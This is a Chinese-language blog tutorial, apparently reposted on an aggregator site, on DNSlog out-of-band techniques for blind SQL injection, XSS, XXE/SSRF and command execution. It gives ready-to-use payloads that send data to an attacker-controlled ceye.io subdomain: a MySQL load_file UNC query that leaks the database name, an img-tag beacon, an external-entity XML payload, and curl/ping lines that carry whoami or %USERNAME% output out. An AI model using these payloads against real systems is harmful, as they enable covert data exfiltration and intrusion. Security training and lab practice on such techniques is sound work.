SQL注入之Dnslog盲注

Posted 小白渗透成长之路

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SQL注入之Dnslog盲注相关的知识,希望对你有一定的参考价值。



巧用DNSlog实现实现无回显注入

测试一些网站的时候,一些注入都是无回显的,我们可以写脚本来进行盲注,但有些网站会ban掉我们的ip,这样我们可以通过设置ip代理池解决,

但是盲注往往效率很低,所以产生了DNSlog注入。具体原理如下。

首先需要有一个可以配置的域名,比如:ceye.io,然后通过代理商设置域名 ceye.io 的 nameserver 为自己的服务器 A,然后再服务器 A 上配置好 DNS Server,这样以来所有 ceye.io 及其子域名的查询都会到 服务器 A 上,这时就能够实时地监控域名查询请求了,图示如下。

SQL注入之Dnslog盲注

DNS在解析的时候会留下日志,咱们这个就是读取多级域名的解析日志,来获取信息
简单来说就是把信息放在高级域名中,传递到自己这,然后读取日志,获取信息。

这样说原理很抽象,下面通过实际例子看下。

http://ceye.io,这是一个免费的记录dnslog的平台,我们注册后到控制面板会给你一个二级域名:xxx.ceye.io,当我们把注入信息放到三级域名那里,后台的日志会记录下来

SQL注入之Dnslog盲注

0x01SQL盲注

就以sql盲注为例。深入理解下DNSlog注入过程:

通过DNSlog盲注需要用的load_file()函数,所以一般得是root权限。show variables like '%secure%';查看load_file()可以读取的磁盘。

1、当secure_file_priv为空,就可以读取磁盘的目录。

2、当secure_file_priv为G:\,就可以读取G盘的文件。

3、当secure_file_priv为null,load_file就不能加载文件。

SQL注入之Dnslog盲注

通过设置my.ini来配置。secure_file_priv=""就是可以load_flie任意磁盘的文件。

SQL注入之Dnslog盲注

mysql命令行执行:select load_file('\\\\afanti.xxxx.ceye.io\\aaa');其中afanti就是要注入的查询语句

查看平台,dnsLog被记录下来。

SQL注入之Dnslog盲注

load_file()函数可以通过dns解析请求。

以sql-labs第五关payload:

' and if((select load_file(concat('\\\\',(select database()),'.xxxxx.ceye.io\\abc'))),1,0)-- -+

执行的sql语句:

SELECT * FROM users WHERE id='1' and if((select load_file(concat('\\\\',(select database()),'.xxxxx.ceye.io\\abc'))),1,0)

查看dnslog日志,发现security数据库被查询出来:

SQL注入之Dnslog盲注

0x02 XSS(无回显)

payload:><img src=http://xss.xxxx.ceye.io/aaa>让src请求我们的dnslog平台

0x03 SSRF(无回显)

payload: 

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [<!ENTITY % remote SYSTEM "http://ip.port.b182oj.ceye.io/xxe_test">%remote;]><root/>

0x04命令执行(无回显)

当 ping 一个域名时会对其进行一个递归 DNS 查询的过程,这个时候就能在后端获取到 DNS 的查询请求,当命令真正被执行且平台收到回显时就能说明漏洞确实存在。

*nixcurl http://haha.xxx.ceye.io/`whoami`ping `whoami`.xxxx.ceye.io
Windowsping %USERNAME%.xxx.ceye.io

其他的在这个平台上有一些payload。

参考链接:

http://foreversong.cn/archives/861https://bbs.ichunqiu.com/thread-22002-1-1.htmlhttp://blog.knownsec.com/2016/06/how-to-scan-and-check-vulnerabilities/

Donslog注入脚本

https://github.com/ADOOO/DnslogSqlinj

以上是关于SQL注入之Dnslog盲注的主要内容,如果未能解决你的问题,请参考以下文章

细说——SQL注入

dnslog小技巧

SQL注入-其他数据库(AccessSQLserverOracle)

SQL注入之什么是加密注入|二次漏洞注入|DNSlog注入

SQL注入之盲注

SQL注入之布尔型盲注